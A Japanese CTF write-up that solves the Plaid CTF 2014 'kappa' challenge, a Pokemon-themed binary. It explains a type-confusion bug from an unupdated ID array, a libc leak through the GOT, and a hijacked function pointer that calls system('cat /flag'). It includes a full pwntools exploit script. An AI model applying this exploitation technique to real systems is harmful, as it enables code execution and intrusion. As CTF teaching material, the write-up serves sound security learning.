イントロ
batalistの medium easy 問題。 Plaid CTF 2014 の kappa を解いていく。
表層解析
sec.sh1./kappa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.26, BuildID[sha1]=2e0e9cd69dfa9cbc9ae857f9e67fa33bc04b1a24, stripped
2Arch: i386-32-little
3RELRO: No RELRO
4Stack: No canary found
5NX: NX enabled
6PIE: No PIE (0x8048000)Ghidra で解析したところmain()の switch 分岐のところで Low-level error というあまり見たことのないエラーで解析がだいぶミスっていた。
まぁそれはいいとして stripped な上に割とめんどくさいプログラムで、
特に構造体のメンバをはっきりさせるのに苦労した。
あと logical なバグの他に、誤字もあったりして解析していて複雑な気分になったりした。
簡単な binary patching
このプログラムにはsleep()をする場所がいくつかあり解析する上で非常に邪魔である。
Ghidra にも binary patching の機能はついているが、プログラムのロード時に ELF 形式ではなく Binary 形式としてロードする必要がある上、
それによって出力されるバイナリは実行するとセグフォが起きる
(噂によるとヘッダーを書き間違えてるとかなんとか)。
というわけで binary patching にはradare2を用いる。 方法は以下の通り:
.sh1skb@niveapc:~/Documents/CTF/kappa$ r2 -N -w ./kappa_nosleep
2[0x08048df4]> s 0x8048df5
3[0x08048df5]> pd 1
4 0x08048df5 c70424010000. mov dword [esp], 1
5[0x08048df5]> wa mov dword [esp], 0
6Written 7 byte(s) (mov dword [esp], 0) = wx c7042400000000
7[0x08048df5]> pd 1
8 0x08048df5 c70424000000. mov dword [esp], 0
9[0x080492d7]> quitロード時にはデスク上のイメージを読み込むためのフラグ-Nと、
イメージへの書き込みを許可する-w フラグをつける必要がある。
waの時点で書き込みは完了しているため出力等のコマンドは打たずにquitすればよい。
修正後のプログラムを動かしてみると、無事sleep()なしで快適にデバッグすることができた
Ghidra、がんばれよ
プログラムの概要とデータ構造
プログラムの概要
demo.txt1Choose an Option:
21. Go into the Grass
32. Heal your Pokemon
43. Inpect your Pokemon
54. Release a Pokemon
65. Change Pokemon artwork上のようにポケモンのような選択肢が与えられる。
Go into the Grass: 草むらに入って 2 回に一回コクーン(Kakuna)と、d 回に一回リザードン(Charizard)と遭遇する。 先頭に入ると攻撃/モンスターボール/逃げ出すの選択肢があり、 相手の体力が 0x15 未満だと捕まえることができる。Heal your Pokemon: ポケセンに行ってポケモンの体力を回復することができる。 このゲームにポケモンはピジョット(Bird Jesus)/コクーン/リザードンしか出てこないがそれぞれ体力の上限が決まっており、その値まで手持ちポケモンの体力を回復する。Inspect your Pokemon: ポケモンのステータスを見ることができる。 後述するが各ポケモンは自身のイラストをアスキーアート(artwork)として保持しておりそれも表示される。Release a Pokemon: 手持ちポケモンを逃がす。 1 番目のポケモン(Bird Jesus)は逃がすことができない。 最大でピジョットも含めて 5 体まで保持できる。Change Pokemon artwork: ポケモンのイラストを表すアスキーアートを入力値で変更できる。 文字数は前のアスキーアートと同じ長さまで可能。
データ構造
3 種類のポケモンそれぞれが異なる構造体で表現される:
.c1struct pokemon_xxx{
2 char name[60];
3 char artwork[456/ 2108/ 1456]; //コクーン/ リザードン/ ピジョット
4 int hp;
5 int attack;
6 char **skillname_ptr;
7 void *show_status_func;
8}各構造体ごとにartworkのサイズだけが異なっている。
また、hpには現在の体力、attackには決められた攻撃力、skillname_ptrには技名文字列へのアドレス、
show_status_funcには自身のステータスを表示する関数ポインタが入っている。
上述の3:Inspect...では各ポケモンごとにこの関数ポインタをたどることでステータスを表示している。
ポケモンは.bss 領域の配列の中に入っている。
しかしそれだけではその構造体がどのポケモンを表しているのかがわからないため、
別途int型配列を用意し、各構造体のポケモン ID(リザードン 1,コクーン 2,ピジョット 3)だけを記録している。
1struct pokemon pokemons[5];
2int IDs[5];脆弱性
無限増殖バグ
ポケモンに不思議なアメを持たせておく。 バトルフロンティアに行き右側のパソコンにポケモンを預ける。 パソコンを離れる際にセーブをするが、その途中で GB 本体の電源をぶち消しする。 再び電源を入れると手持ちとパソコンの両方にポケモンが入っている。
ってこれはポケットモンスターエメラルドの無限増殖バグだった。
これほどではないがこのプログラムにも増殖バグがある。
4:Release...でピジョット以外のポケモンを逃がすことができるのだが、
ix番目のポケモンを逃がすとしたらpokemons[i] = pokemons[i+1] (i>=ix)という処理をしている。
すなわちコクーン1体と引き換えに一番最後のポケモンが増殖することになる。
残念ながらこのバグは今回は利用しない。
ポケモン逃がすからそういうことになるんだ
本命の脆弱性は4:Releaseではない部分のポケモンを逃がす処理にある。
1:Go...で新しいポケモンを捕まえたが手持ちがいっぱいのときにもポケモンを逃がすことができる。
その処理が以下なのだが:
1free((&pokemons)[your_choice]);
2(&pokemons)[your_choice] = enemy_pokemon;
3return;IDs の更新を忘れてしまっている。 即ち新しくリザードンを捕まえても、手持ちにもともといたポケモンがコクーンならば、 それ以降リザードンをコクーンとして扱ってしまうことになる。
コレのまずいところは3:Inspect...にある。
前述したようにステータスの表示は各構造体のshow_status_funcポインタの関数を呼び出して行っているのだが、
コクーン構造体のshow_status_funcメンバに相当するオフセットはリザードン構造体の artwork に相当する。
しかもこのartworkの中身は5:Change...で自由に書き換えることができる。
つまり任意のアドレスにジャンプすることができる。
libc base のリーク
どこにでもジャンプできるようになったからあとはどこにジャンプするかだ。 leak する選択肢としては libc base か heap base のどちらかがまっさきに挙がる。
先程の構造体の読み違えによってskillname_ptrも任意の値にすることができる。
skillname_ptrはchar**ゆえこの値を
libc のアドレスを指すポインタを指すポインタのアドレスにすれば libc のアドレスを知ることができる
うーん、libc を指す既知のアドレスにあるポインタのポインタなんてあったかなぁ。。。
あ、GOT/PLT だ。 PLT の jmp 命令の下バイトには GOT のアドレスが入っている よって PLT のアドレスで参照剥がしすると GOT のアドレスが出てくる GOT のアドレスを参照剥がしすると libc のアドレスが出てくる 丁度いいものがないか探してみると。。。
.sh 1GOT protection: No RELRO | GOT functions: 14
2
3[0x804aeb4] read@GLIBC_2.0 -> 0xf7dd6cb0 (read) ◂— push esi
4[0x804aeb8] printf@GLIBC_2.0 -> 0xf7d412d0 (printf) ◂— call 0xf7e27379
5[0x804aebc] free@GLIBC_2.0 -> 0xf7d6b250 (free) ◂— push edi
6[0x804aec0] memcpy@GLIBC_2.0 -> 0xf7e32750 (__memcpy_ssse3) ◂— push ebx
7[0x804aec4] getchar@GLIBC_2.0 -> 0xf7d5e240 (getchar) ◂— push ebp
8[0x804aec8] sleep@GLIBC_2.0 -> 0xf7daf030 (sleep) ◂— push ebp
9[0x804aecc] strcpy@GLIBC_2.0 -> 0xf7d763d0 (__strcpy_ssse3) ◂— mov edx, dword ptr [esp + 4]
10[0x804aed0] malloc@GLIBC_2.0 -> 0xf7d6ac30 (malloc) ◂— push ebp
11[0x804aed4] puts@GLIBC_2.0 -> 0xf7d57b40 (puts) ◂— push ebp
12[0x804aed8] __gmon_start__ -> 0x80485a6 (__gmon_start__@plt+6) ◂— push 0x48 /* 'hH' */
13[0x804aedc] exit@GLIBC_2.0 -> 0x80485b6 (exit@plt+6) ◂— push 0x50 /* 'hP' */
14[0x804aee0] strlen@GLIBC_2.0 -> 0xf7d762a0 (__strlen_sse2_bsf) ◂— push esi
15[0x804aee4] __libc_start_main@GLIBC_2.0 -> 0xf7d08d90 (__libc_start_main) ◂— call 0xf7e27379
16[0x804aee8] setvbuf@GLIBC_2.0 -> 0xf7d582b0 (setvbuf) ◂— push ebp
17pwndbg> plt
180x8048510: read@plt
190x8048520: printf@plt
200x8048530: free@plt
210x8048540: memcpy@plt
220x8048550: getchar@plt
230x8048560: sleep@plt
240x8048570: strcpy@plt
250x8048580: malloc@plt
260x8048590: puts@plt
270x80485a0: __gmon_start__@plt
280x80485b0: exit@plt
290x80485c0: strlen@plt
300x80485d0: __libc_start_main@plt
310x80485e0: setvbuf@plt
32pwndbg> x/30wx 0x8048510
330x8048510 <read@plt>: 0xaeb425ff 0x00680804 0xe9000000 0xffffffe0
340x8048520 <printf@plt>: 0xaeb825ff 0x08680804 0xe9000000 0xffffffd0
350x8048530 <free@plt>: 0xaebc25ff 0x10680804 0xe9000000 0xffffffc0
360x8048540 <memcpy@plt>: 0xaec025ff 0x18680804 0xe9000000 0xffffffb0
370x8048550 <getchar@plt>: 0xaec425ff 0x20680804 0xe9000000 0xffffffa0
380x8048560 <sleep@plt>: 0xaec825ff 0x28680804 0xe9000000 0xffffff90
390x8048570 <strcpy@plt>: 0xaecc25ff 0x30680804 0xe9000000 0xffffff80
400x8048580 <malloc@plt>: 0xaed025ff 0x38680804はい、大文字にしたところにprintf()の GOT が現れている。
これで libc_base が leak できたから、
show_status_func()へのポインタをsystem()に変えれば終了。
その際の第一引数はpokemonのアドレスであり、
pokemon構造体の先頭には名前が入っているから名前を cat /flag にしてしまえば終わり。
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./kappa_nosleep"
8
9rhp2 = {'host':"localhost",'port':12300}
10context(os='linux',arch='i386')
11binf = ELF(FILENAME)
12
13grass_counter = 0
14diff_artwork = 2108-456 #the difference of size of artwork between Rizadon and Kokun
15pokemons_addr = 0x804bfac
16main_addr = 0x8049284
17len_artwork_rizadon = 0x850
18len_artwork_kokun = 0x210 - 60
19show_status_func_pidget = 0x80487dc
20show_status_func_kokun = 0x8048766
21offset_printf = 0x512d0
22offset_system = 0x3d200
23
24def go_grass(conn,name="AAA",no_kokun=False):
25 global grass_counter
26 grass_counter += 1
27 conn.sendline("1")
28 if(grass_counter%0xd==0): #get Rizadon (we can capture him by attacking four times)
29 for i in range(4):
30 conn.sendline("1")
31 conn.sendline("2")
32 conn.recvuntil("Pokemon?\n")
33 conn.send(name)
34 return
35 if(grass_counter%2==0): #get kokun (we can capture him without attack)
36 if(no_kokun==True):
37 conn.sendline("3")
38 return
39 else:
40 conn.sendline("2")
41 conn.recvuntil("Pokemon?\n")
42 conn.send(name)
43 return
44 return #get nothing
45
46def get_kokun(conn,name="AAA"):
47 if(grass_counter%2==1):
48 go_grass(conn,name)
49 else:
50 go_grass(conn,name)
51 go_grass(conn,name)
52
53def get_rizadon(conn,name="AAA"):
54 while((grass_counter+1)%0xd!=0):
55 go_grass(conn,name,no_kokun=True)
56 go_grass(conn,name)
57
58def release(conn,ix):
59 conn.sendline("4")
60 conn.sendline(str(ix))
61
62def edit_artwork(conn,ix,artwork):
63 conn.sendline("5")
64 sleep(0.2)
65 conn.sendline(str(ix))
66 sleep(0.2)
67 conn.send(artwork+"A"*(len_artwork_rizadon - len(artwork)))
68
69def exploit(conn):
70 #get four kokuns
71 for i in range(4):
72 get_kokun(conn,"AAAAA")
73 #get rizadon @2 (it'd be regarded as kokun)
74 get_rizadon(conn,"X"*8)
75 sleep(0.2)
76 conn.sendline("2")
77 sleep(0.2)
78
79 #edit artwork of newly captured Rizadon (regarded as kokun)
80 payload = "A" * (len_artwork_kokun+0x21)
81 payload += p32(0xfff) #hp
82 payload += p32(0xeee) #attack
83 payload += p32(binf.plt["printf"]+2) #skillname_ptr
84 payload += p32(show_status_func_kokun) #show_status_func
85 edit_artwork(conn,2,payload)
86
87 #leak libc base
88 sleep(0.2)
89 conn.sendline("3")
90 conn.recvuntil("Attack: ")
91 conn.recvuntil("Attack: ")
92 printf_addr = unpack(conn.recv(4))
93 print("[+]printf: "+hex(printf_addr))
94 libc_base = printf_addr - offset_printf
95 print("[+]libc_base: "+hex(libc_base))
96 system_addr = libc_base + offset_system
97 print("[+]system: "+hex(system_addr))
98
99
100 #clean up and regenerate
101 for i in reversed(range(1,6)):
102 release(conn,i)
103
104 for i in range(4):
105 get_kokun(conn,"CCCC")
106 get_rizadon(conn,"cat /flag") #it'd be the first argument of system()
107 sleep(0.2)
108 conn.sendline("2")
109 sleep(0.2)
110
111 #jump
112 payload = "A" * (len_artwork_kokun+0x21)
113 payload += p32(0xfff) #hp
114 payload += p32(0xeee) #attack
115 payload += p32(0xbbb) #skillname_ptr
116 payload += p32(libc_base + offset_system)
117 edit_artwork(conn,2,payload)
118 conn.sendline("3")
119
120
121
122if len(sys.argv)>1:
123 if sys.argv[1][0]=="d":
124 cmd = """
125 set follow-fork-mode parent
126 """
127 conn = gdb.debug(FILENAME,cmd)
128 elif sys.argv[1][0]=="r":
129 conn = remote(rhp1["host"],rhp1["port"])
130else:
131 conn = remote(rhp2['host'],rhp2['port'])
132exploit(conn)
133conn.interactive()結果
result.sh 1Current Health: 920
2Attack Power: 20
3Attack: Gust
4FLAG={thi5_i5_t35t_f1ag}
5Name: CCCC
6 _.---._
7 .' '.
8 / \
9 / /'-. .-'\ \
10 '.`"""` `"""`.'
11 /'-._ _.-'\
12 /_.--\`-`/--._\
13 ; |'-'| ;
14 | .'/ | \'. |
15 | | \ | / | |
16 \ \/\|/\/ /
17 \_/ _ \_/
18 |-'` `'-|
19 |.-"""-.|
20 \ .---. /
21 '._ _.'
22 `
23
24Current Health: 20
25Attack Power: 1
26Attack: Tackle
27Name: CCCC
28 _.---._
29 .' '.
30 / \
31 / /'-. .-'\ \
32 '.`"""` `"""`.'
33 /'-._ _.-'\
34 /_.--\`-`/--._\
35 ; |'-'| ;
36 | .'/ | \'. |
37 | | \ | / | |
38 \ \/\|/\/ /
39 \_/ _ \_/
40 |-'` `'-|
41 |.-"""-.|
42 \ .---. /
43 '._ _.'
44 `
45
46Current Health: 20
47Attack Power: 1
48Attack: Tackle
49Name: CCCC
50 _.---._
51 .' '.
52 / \
53 / /'-. .-'\ \
54 '.`"""` `"""`.'
55 /'-._ _.-'\
56 /_.--\`-`/--._\
57 ; |'-'| ;
58 | .'/ | \'. |
59 | | \ | / | |
60 \ \/\|/\/ /
61 \_/ _ \_/
62 |-'` `'-|
63 |.-"""-.|
64 \ .---. /
65 '._ _.'
66 `アウトロ
ピジョットって Bird Jesus って呼ばれてるんだね。。。